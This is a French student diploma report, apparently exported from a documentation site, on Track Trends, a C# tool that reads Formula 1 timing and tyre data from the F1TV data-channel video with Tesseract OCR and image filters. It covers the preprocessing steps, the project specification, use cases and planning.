Je ne dis pas que ce sont les meilleurs param\u00eatres possibles mais dans mes tests ce sont ceux qui ont le mieux march\u00e9s. C'est aussi les premi\u00e8res methodes que j'ai pu d\u00e9velopper alors forc\u00e9ment elles n'ont pas le niveau de d\u00e9tails de certaines autres. Mais comme m\u00eame avec ce traitement il n'est pas rare que je me retrouve avec une ou deux lettres pas justes, il faut un moyen d'\u00eatre s\u00fbr que c'est le bon nom qui est trouv\u00e9. Ce qu'il y a de pratique avec les noms de pilotes c'est que on sait d\u00e9ja comment ils s'appellent avant le Grand Prix. En effet dans le fichier de configuration de la reconnaissance, il y a une liste de noms de pilotes. Cela veut dire que au lieu de chercher \u00e0 trouver parfaitement les bonnes lettres, on peut simplement essayer de trouver quel nom de pilote ressemble le plus au nom trouv\u00e9 sur l'image. Pour ce faire j'ai utilis\u00e9 une methode appel\u00e9e la distance de Levenshtein. Pour faire simple c'est une methode qui va calculer les distances de lettres pour determiner entre des strings laquelle ressemble le plus \u00e0 une autre. Pour r\u00e9sumer le fonctionnement dans lordre : On prend l'image on la traite On envoie l'image trait\u00e9e \u00e0 Tesseract On trouve quel nom de pilote ressemble le plus \u00e0 ce r\u00e9sultat On renvoie le nom du pilote Chiffres Cette methode en r\u00e9alit\u00e9 utilise simplement la m\u00eame methode que celle qui va r\u00e9cup\u00e8rer le texte sur une image. Cependant, la, on envoie \u00e0 Tesseract l'information qu'il ne peut trouver que des chiffres sur l'image ce qui lui permet d'\u00eatre beaucoup plus pr\u00e9cis et de ne pas confondre un 9 avec un P ou un 11 avec un H PAR EXEMPLE (non pas que ca me soit arriv\u00e9 tr\u00e8s r\u00e9guli\u00e8rement et que ca me soit rest\u00e9 dans la gorge \u00e9videmment) L'avantage c'est que cette methode ne demande m\u00eame pas de traitement de la donn\u00e9e en sortie de Tesseract. On \u00e9sp\u00e8re simplement que le post traitement aura suffit. TEMPS : Cette methode regroupe la d\u00e9tection de temps au tour. Il y a trois grands types de WINDOW qui sont concern\u00e9es : La WINDOW du temps au tour La WINDOW du retard sur le leader La WINDOW des secteurs La grande diff\u00e9rence ce sont les ordres de grandeur. Les temps au tour sont en g\u00e9n\u00e9ral entre 50 secondes et 2 minutes. Tandis que les secteurs sont entre 20 et 30 secondes alors que le retard sur le leader peut-\u00eatre de plusieurs minutes. Cependant, tous ces temps poss\u00e8dent le m\u00eame type de post-traitement avant d'\u00eatre envoy\u00e9s \u00e0 Tesseract. Voici un exemple de temps au tour avant toute transformation : \"Temps au tour avant traitement\" On peut avoir l'impression que ce texte est tout \u00e0 fait lisible et facile \u00e0 d\u00e9coder surtout quand on le voit de loin comme ca. Cependant, il faut imaginer que ces chiffres font 13 pixels de haut en comptant le flou et comme expliqu\u00e9 plus haut ce flou dans ces echelles est terrible. \"Temps au tour zoom\u00e9\" Si on donne cette image \u00e0 Tesseract, les '3' deviennent des '9', des '9' deviennent des '8', des '2' deviennent eux aussi des '9', le tout parfois inversement et de mani\u00e8re compl\u00eatement impr\u00e9visible. Ca n'est simplement pas utilisable. Cette partie est un peu plus complexe car si la detection n'est pas fiable les chiffres sont simplement inutilisables. Si \u00e0 tout moment un temps au tour de 1:39.106 devient 1:32.108 c'est juste pas possible. Voici donc les \u00e9tapes de post-traitement que j'ai mis en place pour leur d\u00e9tection : 1: J'applique un Treshold de 185 pour enlever les ambiguit\u00e9s d'alisaising et avoir une image en noir et blanc claire. La valeur de 185 est assez \u00e9lev\u00e9e car le but est de vraiment garder uniquement les contours. Comme les chiffres se ressemlent beaucoup plu que les lettres, il faut tenter le plus possible de conserver leur formes sp\u00e9cifiques. Je me suis rendu compte que cette valeur \u00e9tait une de celles qui marchent le mieux. \"Temps au tour apr\u00e8s Treshold\" 2: J'applique un Resize de 2 pour augmenter la r\u00e9solution des chiffres et permettre une meilleure d\u00e9tection. Le but est d'avoir plus de pixels et donc de permettre \u00e0 Tesseract de mieux utiliser ses matrices de convolution. \"Temps au tour apr\u00e8s Resize\" 3: Comme le Resize am\u00e8ne du flou, j'utilise une methode de Dilatation qui me permet de retirer ce flou et de remplir un peu plus certaines parties qui ont \u00e9t\u00e9 un peu laiss\u00e9e par le Resize ; \"Temps au tour apr\u00e8s Dilatation\" 4: Contrairement aux mots plus haut, la rondeur ajout\u00e9e par la dilatation n'est pas vraiment d\u00e9sir\u00e9e. En effet, elle peut rendre confuse certains chiffres et emp\u00eacher Tesseract de bien trouver le chiffre. Alors j'applique une Erosion qui me permet de contrecarrer en partie les rondeurs ajout\u00e9es par la dilatation et retrouver des chiffres bien form\u00e9es. Pour l' Erosion et la Dilatation j'ai utilis\u00e9 une valeur de 1 car je ne voulais pas trop changer les chiffres. \"Temps au tour apr\u00e8s Erosion\" Explication des methodes pr\u00e9cises plus bas Et avec ce post processing on retrouve de plut\u00f4ts bon r\u00e9sultats qui demandent peu de traitement. Le traitement d\u00e9pend du type de WINDOW cependant. Pour les secteurs on indique \u00e0 Tesseract que les caract\u00e8res autoris\u00e9s sont : \"0123456789.\" Pour les temps au tour on autorise plut\u00f4t \"0123456789.:\" Et pour les \u00e9carts on autorise \"0123456789.+\" Ensuite on r\u00e9cup\u00e8re une liste de chiffres qui'il va falloir transformer en milisecondes pour faciliter le stockage et l'envoi. Le programme nettoie un peu la chaine avant de la convertir. Par exemple parfois le ':' de 1:34.456 est compris comme un '1' ou un '2' et il faut faire attention \u00e0 detecter quand ca arriver. Je passe les d\u00e9tails du reste du nettoyage car c'est vraiment du cas par cas mais quand on a finit de nettoyer la chaine on peut transformer les chaines de minutes secondes et milisecondes en un total de milisecondes. Pour r\u00e9sumer le fonctionnement dans l'ordre : On prend l'image et on lui applique une s\u00e9rie de filtres On envoie l'image filtr\u00e9e \u00e0 Tesseract On nettoie le r\u00e9sultat Tesseract pour compenser certains biais On convertis le r\u00e9sultat en milisecondes Pneus La on arrive sur la partie la plus p\u00e9nible. Pour comprendre la probl\u00e9matique il faut d'abord faire un petit point sur comment les pneus fonctionnent en Formule 1. Depuis 2019 en Formule 1 nous avons 5 grandes familles de pneus : Les pneus tendres Les pneus medium Les pneus durs Les pneus interm\u00e9diaires Les pneus pluie \"Gamme de pneus Pirelli\" Les trois premiers pneus sont des pneus faits pour piste s\u00e8che, le pneu interm\u00e9diaire pour piste humide et le neu pluie pour la pluie. Chaque pneu a sa dur\u00e9e de vie et son niveau de performance propre mais je ne vais pas rentrer dans le d\u00e9tail ici. Tout ce qu'il faut savoir ce que savoir sur quel pneu chaque pilote est et depuis combien de temps il les chausse est une information tr\u00e8s importante. Chaque pneu a une couleur donn\u00e9e qui permet de les diff\u00e9rencier. Voici un exemple de ce \u00e0 quoi une WINDOW de pneus peut ressembler : \"Exemple zone pneus 1\" Mais cette zone peut aussi ressembler \u00e0 ca : \"Exemple zone pneus 2\" Mais aussi \u00e0 ca : \"Exemple zone pneus 3\" Voire m\u00eame ca : \"Exemple zone pneus 4\" Je pense que vous pouvez tout de suite comprendre la difficult\u00e9 que repr\u00e9sente la t\u00e2che de r\u00e9cup\u00e8ration de donn\u00e9es \u00e0 partir de cette image. En gros le fonctionnement de cette zone d'information est assez simple. Au fur et \u00e0 mesure que la course avance, le trait fait de m\u00eame. Le chiffre dans le round tout \u00e0 droite indique le nombre de tour que le pilote a pass\u00e9 sur ce pneu. La couleur indique le type de pneu. Si il y a une lettre \u00e0 la place d'un chiffre c'est que c'est le premier tour sur ce pneu. La lettre indique le type de pneu. Et pas besoin de dire que si on essaie simplement de donner l'image \u00e0 Tesseract on ne r\u00e9cup\u00e8re ni les chiffres ni les lettres correctement si ce n'est pas du tout. Il faut donc utiliser une methode qui permette d'isoler le rond le plus \u00e0 droite, lui appliquer un traitement qui permette \u00e0 Tesseract de lire ce qu'il y a marqu\u00e9 et qui puisse determiner quel pneu est en train d'\u00eatre utilis\u00e9. J'ai d\u00e9cid\u00e9 de m'occuper dans un premier temps de trouver ce rond avant d'appliquer les filtres car plus l'image est petite plus les filtres sont rapides. Le programme va tirer un trait depuis le bord droit de la zone, et il va avancer vers la gauche jusqu'\u00e0 trouver un obstacle. Je d\u00e9tecte un obstacle si le pixel sur lequel est mon trait poss\u00e8de une valeur de plus de 0x50 dans le channel R,G ou B. J'ai trouv\u00e9 en faisant des tests que les couleurs de background de la F1TV ne d\u00e9passaient jamais ces valeurs. Ensuite apr\u00e8s avoir trouv\u00e9 le premier obstacle, je r\u00e9cup\u00e8re une zone qui doit englober le cercle. Voici un exemple avec cette image en entr\u00e9e : \"Zone compl\u00eate\" Elle est automatiquement coup\u00e9e de cette facon : \"Zone coup\u00e9e automatiquement\" Cela me permet d'isoler uniquement ce qui m'int\u00e9resse ce qui est tr\u00e8s pratique pour Tesseract et pour la detection de couleur. Ensuite avec cette image je peux commencer le processus de reconnaissance. Je commence par faire une moyenne de tous les pixels de l'image en excluant les pixels trop sombres qui font s\u00fbrement partie du background ou du chiffre. Ensuite j'utilise une methode qui calcule la diff\u00e9rence entre la couleur obbtenue et la liste de couleurs possible. Il y a cinq couleurs des pneus possibles : \"#ff0000\" pneu tendre/soft \"Couleur d'un pneu tendre\" \"#f5bf00\" pneu medium \"Couleur d'un pneu medium\" \"#a4a5a8\" pneu dur/hard \"Couleur d'un pneu dur\" \"#00a42e\" pneu inter \"Couleur d'un pneu interm\u00e9diaire\" \"#2760a6\" pneu pluie/wet \"Couleur d'un pneu pluie\" Ce qui est pratique c'est que m\u00eame dans les cas ou il n'y a pas beaucoup de couleur comme celui la : \"Pneu dur avec 0 tours\" On arrive \u00e0 une couleur moyenne de : \"Couleur moyenne de l'image ci dessus apr\u00e8s soustraction du background\" Et il est donc assez facile de determiner le type de pneu en question. Attention, les r\u00e9sultats peuvent \u00eatre tr\u00e8s vite d\u00e9rang\u00e9s par la couleur du pneu pr\u00e9c\u00e9dent si le d\u00e9coupage de la fen\u00eatre n'a pas \u00e9t\u00e9 assez pr\u00e9cis. Ensuite il \"suffit\" de lire le chiffre dans le rond et si on arrive pas \u00e0 le lire alors c'est que c'est une lettre et on sait que le nombre de tours est donc de 0. Maintenant vient le moment tr\u00e8s sympatique de la lecture du chiffre. Vous saurez que Tesseract en plus de detester les grandes images et les images avec des couleurs, deteste \u00e9galement les formes dans une image. Donc dans notre cas, le round de couleur autour du chiffre, m\u00eame si il n'est pas complet, il interf\u00e8re avec la reconnaissance et emp\u00eache de bien lire le chiffre. Il faut donc retirer le background et ensuite la couleur. Sauf que comme le chiffre est de la couleur du background, si on retire le background et ensuite la couleur il ne reste plus rien. Il faut donc retirer le background AUTOUR du rond, et ensuite si on retire la couleur il devrait rester le chiffre sur fond blanc. Pour se faire, j'ai tir\u00e9 des traits depuis les bords de l'image jusqu'\u00e0 ce qu'ils rencontrent le rond. Ensuite je retire tous les pixels entre le rond et les bords de l'image ce qui nous donne ceci : \"Zone pneu avec le background en moins\" Ensuite on peu retirer les pixels qui ont une valeur dans un channel RGB plus haute qu'un certain seuil : \"Zone avec le reste des couleurs supprimm\u00e9es\" Et la on a ce que l'on veut ! A partir de la c'est les filtres que l'on connait qui sont utilis\u00e9s pour en faire une image plus facile \u00e0 utiliser par Tesseract. 1 : On effectue un Resize de facteur 4 (oui c'est beaucoup mais en m\u00eame temps le chiffre est vraiment petit \u00e0 la base) qui permet d'avoir une image d'une bien meilleure r\u00e9solution. \"Filtre 1\" 2: On fait une Dilatation de facteur 1 pour retirer tout le flou de l'image pour aider Tesseract \"Resultat\" Et on a un chiffre qui est utilisable par Tesseract ! Explication des methodes pr\u00e9cises plus bas Pour r\u00e9sumer : On prend l'image de la zone et on la crop pour ne garder que la partie essentielle On d\u00e9termine le type de pneu avec la couleur moyenne de la zone On retire le background autour de cette zone On retire la couleur qui reste pour ne garder que le chiffre On augmente la r\u00e9solution du chiffre On rend ce chiffre net On envoie l'image trait\u00e9e et filtr\u00e9e \u00e0 Tesseract On d\u00e9termine le nombre de tours que le pilote a fait avec ses pneus avec le r\u00e9sultat de Tesseract DRS Bon ca c'\u00e9tait plut\u00f4t simple j'ai simplement v\u00e9rifi\u00e9 si la moyenne de vert d\u00e9passait une certaine valeur et puis voila. Filtres et methodes sur les images Dans ce projet on a du utiliser diff\u00e9rentes methodes d'\u00e9dition d'image que ce soit sous forme de filtres ou de modification de l'image directement. Voici un sommaire des methodes utilis\u00e9es et comment elles fonctionnent. Tresholding Cette methode sert \u00e0 passer d'une image en couleurs \u00e0 une image binaire noir blanc. C'est une \u00e9tape tr\u00e8s importante pour l'OCR car elle permet (si bien faite) d'isoler du texte de son background. Un exemple ici : \"Exemple treshold\" Le fonctionnement est assez simple mais il peut \u00eatre fait de diff\u00e9rentes mani\u00e8res mais dans mon cas voici comment l'algorythme fonctionne sachant qu'il demande en entr\u00e9e la Bitmap que l'on veut modifier ainsi que la valeur de Treshold : On parcours chaque pixel de l'image On convertir la couleur du pixel en une valeur de gris pour avoir la m\u00eame valeur en R,G et B (Formule utilis\u00e9e : grey = R x 0.3 + G x 0.59 + B x 0.11) Si le r\u00e9sultat de la valeur de gris est au dessus de la valeur de treshold, le pixel est pass\u00e9 en blanc complet et dans le cas contraire il est pass\u00e9 en noir complet On retourne la Bitmap modifi\u00e9e Un algorythme pas forc\u00e9ment complexe mais qui peut augmenter de mani\u00e8re titanesque les chances de r\u00e9ussir une OCR Resize Cette methode sert \u00e0 augmenter la r\u00e9solution d'une image pour am\u00e9liorer la pr\u00e9cision de l'algorythme de Tesseract. En effet, avec trop peu de pixels, la matrice de convolution n'est pas toujours aussi efficace. Il ne faut pas confondre cette methode d'augmentation de la taille avec une simple interpolation. En effet une augmentation de taille interpol\u00e9e ne vas pas vraiment changer la r\u00e9solution, l'image sera toujours aussi pixelis\u00e9e, seulement, les pixels seront compos\u00e9es de plus de pixels comme dans l'exemple ci dessous : \"Exemple d'interpolation lin\u00e9aire\" Dans mon projet j'utilise de l'interpolation bicubique qui va cr\u00e9er de l'information pour tenter de combler le vide et produire une image r\u00e9ellement plus grande et avec plus de details mais en ajoutant du flou. \"Exemple des diff\u00e9rents types d'interpolation\" Le but est d'aller chercher dans les pixels alentours les couleurs qui sont d\u00e9ja pr\u00e9sente et de jouer avec des poids pour tenter de faire une pr\u00e9diction de ce que ce pixel aurait \u00e9t\u00e9 si l'image avait plus de detail. Voici un exemple assez parlant : \"Exemple interpolation bicubique (avant)\" \"Exemple interpolation bicubique (apr\u00e8s)\" On pourrait croire que c'est inutile mais dans le contexte de Tesseract ajouter des d\u00e9tails pour tenter de simuler une meilleure r\u00e9solution m\u00eame en cr\u00e9ant du flou est int\u00e9ressant pour mieux remplir la matrice de convolution. Mais il est possible de r\u00e9duire ce flou avec d'autres m\u00e9thodes \u00e9galement. (Dans mon code je n'ai pas utilis\u00e9 du code fait main mais j'utilise une librairie qui me permet de le faire) Il faut simplement faire attention car c'est un proc\u00e9d\u00e9 assez lourd en performances. Dilatation et Erosion Cette methode et la suivante font partie des methodes de transformation morphologiques. Ces methodes sont utilis\u00e9es pour accentuer les formes et les epaissir ou les r\u00e9duire et les affiner. Elles poss\u00e8dent l'aventage \u00e9galement de retirer le flou d'une image ce qui est tr\u00e8s pratique si utilis\u00e9 apr\u00e8s l'utilisation de methodes comme Resize . Je ne vais pas trop rentrer dans les d\u00e9tails de ces methodes car leur fonctionnement est un peu plus lourd en math si on veut faire une v\u00e9ritable explication du pourquoi et du comment ca marche aussi bien. Pour notre projet je dirais que l'important est de savoir que ce sont deux outils tr\u00e8s pratiques pour changer la morphologie des lettres et des chiffres et qu'on peut les utiliser pour corriger du flou et/ou des art\u00e9facts apparus lors de la binarisation de l'image ou de la suppression de fond. Remove Background Cette methode est assez simple et est juste une methode qui va passer en revue tous les pixels de l'image et si la couleur d'un pixel s'apparente \u00e0 celle d'un pixel de fond il est pass\u00e9 en noir total ou en blanc total. Le but est de permettre au reste du programme de fonctionner avec des couleurs moins ambigues. Une variante sp\u00e9cialis\u00e9e pour la reconnaissance des pneus appel\u00e9e affectueusement Remove Useless cherche \u00e0 atteindre le m\u00eame bu mais est bien plus soffistiqu\u00e9e et sp\u00e9cialis\u00e9e pour retirer le background autour d'un cercle de couleur pour ensuite retirer la couleur et qu'il ne reste qu'un chiffre. Pour plus de details voir la detection de pneus. Il y aussi d'autre methodes comme un filtre Gaussien ou Highlight countour que j'ai du d\u00e9velopper mais que je n'ai pas utilis\u00e9 donc je ne vais pas en parler ici. Interpr\u00e9tation des donn\u00e9es Stockage des donn\u00e9es Affichage des donn\u00e9es Pr\u00e9dictions Tests [A remplir au fur et \u00e0 mesure de la cr\u00e9ation des tests] R\u00e9sum\u00e9 des difficult\u00e9s techniques [A remplir au fur et \u00e0 mesure dans la seconde moiti\u00e9 du travail de dipl\u00f4me] Optimisation du programme [A remplir \u00e0 la fin du projet pour parler des diff\u00e9rentes methodes d'optimisation] Ethique du projet [A remplir \u00e0 la fin du projet pour parler des questions ethiques du projet (Ex: Utilisation potentiellement abusive de la F1Tv ou L'histoire des cookies)] Am\u00e9liorations futures [A remplir dans les derni\u00e8res semaines du travail de dipl\u00f4me] Conclusion [A remplir la derni\u00e8re semaine du travail de dipl\u00f4me]","title":"Rapport Track Trends V1.0"},{"location":"index.html#rapport-track-trends-v10","text":"Rohmer Maxime Travail de dipl\u00f4me Technicien ES 2023","title":"Rapport Track Trends V1.0"},{"location":"index.html#introduction","text":"","title":"Introduction"},{"location":"index.html#resume","text":"Track Trends est un outil de r\u00e9cup\u00e9ration et d'analyse de donn\u00e9es de courses de Formule 1. Pour le contexte, en dehors des cours, j'exerce diff\u00e9rentes activit\u00e9s dont celle de Live Ticker F1 pour le 20 minutes. Pour m'aider dans ce travail, j'utilise actuellement la F1TV \u00e0 laquelle je suis abonn\u00e9 qui me propose non seulement un feed vid\u00e9o de meilleure qualit\u00e9 avec des commentaires plus pertinents que ceux de la RTS mais qui aussi me permet d'acc\u00e9der \u00e0 un feed vid\u00e9o tr\u00e8s important : la chaine data. Ce dernier ressemble \u00e0 cela : \"Screenshot du feed data de la f1tv\" (Attention ce n'est pas un joli tableau HTML, mais bien une vid\u00e9o qui contient un tableau.) Sauf que toutes les informations sont \u00e9tal\u00e9es p\u00eale-m\u00eale sans hi\u00e9rarchie ce qui fait que cela me prendrait trop de temps de tout d\u00e9chiffrer \u00e0 chaque fois, ce qui me fait rater des choses int\u00e9ressantes. Le but du projet est donc de fournir un outil qui hi\u00e9rarchise et affiche diff\u00e9remment les donn\u00e9es pour faciliter leur lecture et me permettre de faire de meilleurs commentaires.","title":"R\u00e9sum\u00e9"},{"location":"index.html#abstract","text":"Track Trends is a Formula 1 data is a tool that displays and interpret data. To understand everything,first ,a little bit of context. In my free time I have multiple activities and one is to be the Live Ticker F1 for the local journal \"20 minutes\" (Owned by Tamedia). to help me in this work I'm currently using the F1TV to which I'm currently subscribed because it provides me with a better video feed with better commentary than the ones from the RTS (in my opinion) but also because it gives me access to a very important video feed : the data channel You can see in the chapter above an example of the F1TV DATA CHANNEL. [Note : Even tough it looks like a pretty HTML table on wich you could easely get infos... Its not. Its a video feed] You can see a lot of data all well and good BUT! All the data is displayed the same in a big table which make it really hard to read totally in a hurry, which means that I miss a lot of useful information. The point of the project then is to provide a tool that can display those data by taking into account their relevance. So for example a driver that is 10s away from everyone and that is doing some normal lapTimes will be less displayed or even not displayed at all so I can focus on the drivers that are battling each others. This tool would help me not miss the battles and details that are happening in the back and therefore not being broadcasted on TV.And it could be a usefull tool for anyone who wants a better insight of how the race is going by looking at the data. This kind of project already exists in the form of the AWS tool \"F1 Insight\" but it is not avaible to the public. We can only see some of its predictions (that are trash) and data dumps in the live feed when the TV directors feel like it.","title":"Abstract"},{"location":"index.html#description-du-besoin","text":"Comme expliqu\u00e9 dans le r\u00e9sum\u00e9, je suis Live Ticker F1. Mais pour mieux comprendre le besoin que j'ai, je pense qu'il est pertinent de comprendre comment je travaille. Pendant un Grand Prix de Formule 1 j'ai plusieurs t\u00e2ches \u00e0 effectuer : Suivre les diff\u00e9rents \u00e9v\u00e8nements du Grand Prix Changer le titre et la photo de titre du Live Chercher des Tweets ou des Images \u00e0 int\u00e9grer Ecrire les commentaires en faisant attention \u00e0 dire ce qu'il se passe mais aussi l\u2019expliquer, ce que cela implique, mais aussi ce que cela veut dire pour le reste de la course. Comprendre et expliquer les strat\u00e9gies Tout cela toutes les cinq minutes max... Cela veut dire que je dois \u00eatre le plus rapide possible quand je cherche des informations. Et comme le tableau en comporte trop et bien, je suis oblig\u00e9 de le lire en diagonale. Par exemple dans le tableau, les infos que je cherche le plus sont : Le nombre de places gagn\u00e9es (surtout au d\u00e9part) Les \u00e9carts entre les pilotes (surtout ceux qui sont en dessous de deux secondes). Les pneus de chaque pilote et combien de tours, ils ont fait dessus Les temps d'arr\u00eats aux stands Les temps au tour (surtout pour la strat\u00e9gie) Mais pleins d'autres informations existent si on les recoupe sur plusieurs tours. Un outil qui permettrait de mettre en \u00e9vidence les informations importantes serait donc une tr\u00e8s grosse plus-value pour mon travail et s'il est facile \u00e0 installer et \u00e0 utiliser, il se pourrait qu'il devienne indispensable.","title":"Description du besoin"},{"location":"index.html#cahier-des-charges","text":"Il s'agit d'une version coup\u00e9e du cahier des charges qui ne contient pas l'explication du contexte. Mais l'original est disponible sur ce site \u00e9galement. Il est toutefois normal d'y voir des choses r\u00e9p\u00e9t\u00e9es ou l\u00e9g\u00e8rement diff\u00e9rentes, en effet, il n'a pas \u00e9t\u00e9 \u00e9crit en m\u00eame temps que le reste de ce document.","title":"Cahier des charges"},{"location":"index.html#projet","text":"Un outil de style compagnon sous forme d'application C# Windows Form qui r\u00e9cup\u00e8re en temps r\u00e9el les informations de la course et affiche les informations les plus importantes. Le but est non seulement de faciliter mon job, mais aussi faire en sorte d'am\u00e9liorer la plus-value de mon travail en me permettant de fournir des commentaires qui ne sont pas disponibles pour le tout venant qui regarde simplement le flux RTS. Exemples : Les pilotes qui sont proches (moins de 1-2 secondes qui sont donc en train de se battre). Les pilotes qui am\u00e9liorent leur temps au tour et ceux qui perdent le plus de temps Le classement pond\u00e9r\u00e9 tenant compte des futurs arr\u00eats au stand Maintenant afficher diff\u00e9remment les infos, c'est sympa, mais cela serait encore mieux de traiter ces data et de permettre des petites pr\u00e9dictions. Exemples : Pr\u00e9dire les arr\u00eats aux stands en prenant en compte les baisses de performances des pneus Pr\u00e9dire le pneu que le pilote va chausser s'il rentre aux stands dans le prochain tour Pr\u00e9dire dans combien de tour tel pilote va rattraper tel autre pilote Pr\u00e9dire combien de temps le pilote va perdre dans les stands en fonctions des arr\u00eats pr\u00e9c\u00e9dents","title":"Projet"},{"location":"index.html#realisation","text":"Malheureusement, la Formula 1 Management ne propose aucune API publique qui puisse nous permettre de faire ce projet \"simplement\". La raison la plus probable \u00e9tant qu'Amazon avec son service AWS propose exactement ce genre de services pour le flux t\u00e9l\u00e9vis\u00e9 et il doit y avoir un contrat d'exclusivit\u00e9. Il existe des API \"Pirates\" faites par la communaut\u00e9, le probl\u00e8me est qu'elles ne sont pas forc\u00e9ment des plus pratiques \u00e0 utiliser. Mais comme je poss\u00e8de un abonnement premium ++ \u00e0 la F1TV, j'ai acc\u00e8s pour chaque grand prix \u00e0 un flux vid\u00e9o nomm\u00e9 : DATA F1 CHANNEL Qui ressemble \u00e0 \u00e7a : \"Exemple de la Data Channel\" Donc la seule fa\u00e7on que je vois de r\u00e9cup\u00e9rer ces donn\u00e9es est de les prendre directement sur ce feed. M\u00eame si le but final de l'application est de faire pleins de choses super avec les datas, le gros du projet va surtout \u00eatre la r\u00e9cup\u00e9ration des donn\u00e9es et leur stockage. Les donn\u00e9es viennent du flux vid\u00e9o et ainsi dans un premier temps, il va falloir r\u00e9cup\u00e9rer d'une mani\u00e8re ou d'une autre des images qui viennent d'un grand prix en direct ou en rediffusion. Ensuite, dans un second temps, il faut lire les informations directement sur l'image en utilisant une librairie pr\u00e9vue pour (exemple Tesseract) et v\u00e9rifier l'int\u00e9grit\u00e9 de ces derni\u00e8res pour qu'on puisse ensuite les stocker. Dans un troisi\u00e8me temps, il faut stocker toutes ces donn\u00e9es dans une forme qui permette d'aller facilement faire des requ\u00eates de r\u00e9cup\u00e9ration et d\u00e9j\u00e0 pr\u00e9parer des m\u00e9thodes qui permettent de r\u00e9cup\u00e9rer des infos importantes (ex : la moyenne des cinq derniers tours, le temps moyen d'arr\u00eat etc.) pour faciliter la derni\u00e8re \u00e9tape Quand tout cela est fait, on peut ensuite s'amuser un peu avec les Data. La derni\u00e8re \u00e9tape est donc l'affichage. L'id\u00e9e est de cr\u00e9er une Windows Form qui contienne toutes ces informations dans un format beaucoup plus lisible et avec laquelle on pourrait interagir pour permettre de plus facilement commenter les Grands Prix. (exemple plus bas avec un croquis de ce \u00e0 quoi l'application pourrait ressembler) Voici la liste des donn\u00e9es qui pourraient \u00eatre affich\u00e9es (Non contractuel, simplement des id\u00e9es). Les pilotes qui sont proches (moins de 1-2 secondes qui sont donc en train de se battre). Les pilotes qui am\u00e9liorent leur temps au tour et ceux qui perdent le plus de temps Le classement pond\u00e9r\u00e9 tenant compte des futurs arr\u00eats au stand La moyenne de temps que les pilotes perdent dans les stands La performance moyenne des 5 types de pneus La moyenne de temps de chaque pilote sur le pneu actuel Le nombre de points que chaque pilote gagnerait selon sa position Le classement de la course Voire m\u00eame si c'est possible : Pr\u00e9dire les arr\u00eats aux stands en prenant en compte les baisses de performances des pneus Pr\u00e9dire le pneu que le pilote va chausser s'il rentre aux stands dans le prochain tour Pr\u00e9dire dans combien de tour tel pilote va rattraper tel autre pilote Pr\u00e9dire combien de temps le pilote va perdre dans les stands en fonctions des arr\u00eats pr\u00e9c\u00e9dents Pr\u00e9dire les temps au tour de chaque pilote selon l'usure des pneus Voici un exemple d'interface possible pour une page : \"Protype de l'app fait sur Figma\"","title":"R\u00e9alisation"},{"location":"index.html#cas-dutilisation","text":"'*'On va consid\u00e9rer que tous les user ont un abonnement F1 TV PRO Un user veut r\u00e9cup\u00e9rer les data : Il ouvre son navigateur et lance la page DATA de la F1 TV Il calibre la capture des data via le programme (pour la premi\u00e8re utilisation). Il confirme que les donn\u00e9es initiales sont bonnes (pour la premi\u00e8re utilisation). Il regarde tranquille son Grand Prix Le programme r\u00e9cup\u00e8re les data : Il r\u00e9cup\u00e8re des images depuis la F1TV Il utilise Tesseract (ou autre) pour en r\u00e9cup\u00e9rer les infos. Il met ces infos dans un Objet Pilote, dans un Objet course avec un attribut tour pour hi\u00e9rarchiser les data Pour ce qui est de l'affichage, l'id\u00e9e est de faire une application C# comme on l'a appris \u00e0 l'\u00e9cole, mais avec assez de style pour qu'elle puisse \u00eatre agr\u00e9able \u00e0 utiliser. Quand le programme affiche les data : Il prend les donn\u00e9es venant directement de la F1TV. Il affiche diff\u00e9remment les donn\u00e9es pour permettre une meilleure lisibilit\u00e9 Il interpr\u00e8te avec des r\u00e8gles plut\u00f4t simples certaines data pour faire des minipr\u00e9dictions ou aider \u00e0 la lecture Il r\u00e9cup\u00e8re des infos d'autres courses pour les comparer et proposer des pr\u00e9dictions plus int\u00e9ressantes","title":"Cas d'utilisation"},{"location":"index.html#difficultes-techniques","text":"R\u00e9cup\u00e9rer un flux vid\u00e9o plut\u00f4t propre malgr\u00e9 les contres mesures de la F1 TV pour en emp\u00eacher la lecture par un logiciel Si on doit passer par une capture d'\u00e9cran, trouver un moyen de stocker les donn\u00e9es de mani\u00e8re \u00e0 pr\u00e9voir que parfois un tour pourrait avoir plus de donn\u00e9es qu'un autre, que le user peut mettre pause, ou m\u00eame qu\u2019il revienne en arri\u00e8re. D\u00e9velopper des algorithmes pour r\u00e9cup\u00e9rer les donn\u00e9es comme les diff\u00e9rents pneus utilis\u00e9s ou l'activation du DRS ainsi que d\u00e9velopper des moyens de nettoyer les r\u00e9sultats de l'OCR (Par exemple utiliser diff\u00e9rents champs redondants pour comparer les r\u00e9sultats) Stocker les donn\u00e9es sur une base pour les traiter plus tard tout en pr\u00e9voyant un moyen de voir les stats live D\u00e9velopper des algorithmes de pr\u00e9diction qui prennent en compte d'anciennes courses pour tenter de pr\u00e9dire des choses comme les arr\u00eats aux stands par exemple.","title":"Difficult\u00e9s techniques"},{"location":"index.html#differences-sur-le-cahier-des-charges","text":"[\u00c0 remplir dans les derni\u00e8res semaines du travail de dipl\u00f4me]","title":"Diff\u00e9rences sur le cahier des charges"},{"location":"index.html#planning-previsionnel","text":"Mes suiveurs m'ont demand\u00e9 un planning de type GANTT pour ce travail de dipl\u00f4me Je n'ai pas utilis\u00e9 un logiciel particulier pour faire ce dernier, mais je me suis inspir\u00e9 des principes fondamentaux d'un diagramme de ce type. Comme l'original a \u00e9t\u00e9 fait sur Excel, je ne peux pas vraiment l'ins\u00e9rer de mani\u00e8re lisible ici, mais il est disponible dans le dossier Planning. Mais voici un r\u00e9sum\u00e9 de son contenu :","title":"Planning pr\u00e9visionnel"},{"location":"index.html#taches","text":"J'ai d\u00e9cid\u00e9 de d\u00e9composer mon planning en trois grands types de t\u00e2ches. Programmation Documentation Tests L'id\u00e9e est de permettre une meilleure lisibilit\u00e9 et de me permettre \u00e0 moi de me faire plus facilement \u00e0 l'id\u00e9e de ce qu'il m'attend. Voici la liste des t\u00e2ches par rubrique :","title":"T\u00e2ches"},{"location":"index.html#pt","text":"Cette rubrique contient les t\u00e2ches qui n'ont pas leur place dans les trois cat\u00e9gories principales.","title":"PT"},{"location":"index.html#pt1-preparation-au-travail-de-diplome-2","text":"Cette t\u00e2che est un peu hors cat\u00e9gorie, mais c'est normal, c'est une supert\u00e2che qui regroupe beaucoup de choses. C'est une t\u00e2che qui est planifi\u00e9e pour deux jours et qui normalement devrait \u00eatre faite les deux premiers jours du travail. Le but est de pr\u00e9parer tout ce qui peut \u00eatre pr\u00e9par\u00e9 en avance niveau documentation 